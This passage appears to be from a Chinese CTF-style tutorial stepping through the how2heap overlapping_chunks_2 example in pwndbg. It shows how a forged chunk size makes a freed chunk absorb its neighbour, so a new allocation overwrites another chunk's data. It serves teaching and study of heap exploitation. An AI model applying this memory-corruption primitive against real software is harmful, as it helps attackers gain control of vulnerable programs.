47 fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x1
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x0
RDI 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
RSI 0x0
R8 0x603bd0 ◂— 0x4343434343434343 ('CCCCCCCC')
R9 0x1
R10 0x1
R11 0x246
R12 0x4005e0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe690 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5b0 —▸ 0x400af0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe560 ◂— 0x1f7ffe168
RIP 0x4009a8 (main+722) ◂— mov rax, qword ptr [rip + 0x2016b1]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4009a8 <main+722> mov rax, qword ptr [rip + 0x2016b1] <0x602060>
0x4009af <main+729> mov rcx, rax
0x4009b2 <main+732> mov edx, 0x6b
0x4009b7 <main+737> mov esi, 1
0x4009bc <main+742> mov edi, 0x400d50
0x4009c1 <main+747> call fwrite@plt <0x4005c0>
0x4009c6 <main+752> mov edi, 0x7d0
0x4009cb <main+757> call malloc@plt <0x4005b0>
0x4009d0 <main+762> mov qword ptr [rbp - 8], rax
0x4009d4 <main+766> mov rax, qword ptr [rbp - 8]
0x4009d8 <main+770> mov rdi, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/overlapping_chunks_2.c
42 *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
43 fprintf(stderr, "\nfree p2 的时候分配器会因为 p2+p2.size 的结果指向 p4,而误以为下一个 chunk 是 p4\n");
44 fprintf(stderr, "\n这样的话将会 free 掉的 p2 将会包含 p3\n");
45 free(p2);
46
► 47 fprintf(stderr, "\n现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来\n");
48 p6 = malloc(2000);
49 real_size_p6 = malloc_usable_size(p6);
50
51 fprintf(stderr, "\nchunk p6 从 %p 到 %p", p6, (unsigned char *)p6+real_size_p6);
52 fprintf(stderr, "\nchunk p3 从 %p 到 %p\n", p3, (unsigned char *) p3+real_size_p3);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe560 ◂— 0x1f7ffe168
01:0008│ 0x7fffffffe568 ◂— 0x3e8000003e8
... ↓
03:0018│ 0x7fffffffe578 ◂— 0x3e8
04:0020│ 0x7fffffffe580 —▸ 0x603010 ◂— 0x4141414141414141 ('AAAAAAAA')
05:0028│ 0x7fffffffe588 —▸ 0x603400 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
06:0030│ 0x7fffffffe590 —▸ 0x6037f0 ◂— 0x4343434343434343 ('CCCCCCCC')
07:0038│ 0x7fffffffe598 —▸ 0x603be0 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x6043b0 ◂— 0x4545454545454545 ('EEEEEEEE')
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4009a8 main+722
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/overlapping_chunks_2.c:46
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x3f0 Used None None
0x6033f0 0x4141414141414141 0xbd0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x603fc0 0xbd0 0x3f0 Used None None
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6033f0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6033f0
smallbins
empty
largebins
empty
pwndbg>
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x3f0 Used None None
0x6033f0 0x4141414141414141 0xbd0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x603fc0 0xbd0 0x3f0 Used None None
3.3.5 设置断点第62行并走起
再次去malloc 0x7e0大小的chunk p6会把包含p3的p2给申请到,这样再去编辑p6的时候也可以编辑到p3。
现在去申请 2000 大小的 chunk p6 的时候,会把之前释放掉的 p2 与 p3 一块申请回来
chunk p6 从 0x603400 到 0x603bd8
chunk p3 从 0x6037f0 到 0x603bd8
p3 中的内容:
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�
往 p6 中写入"F"
p3 中的内容:
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC�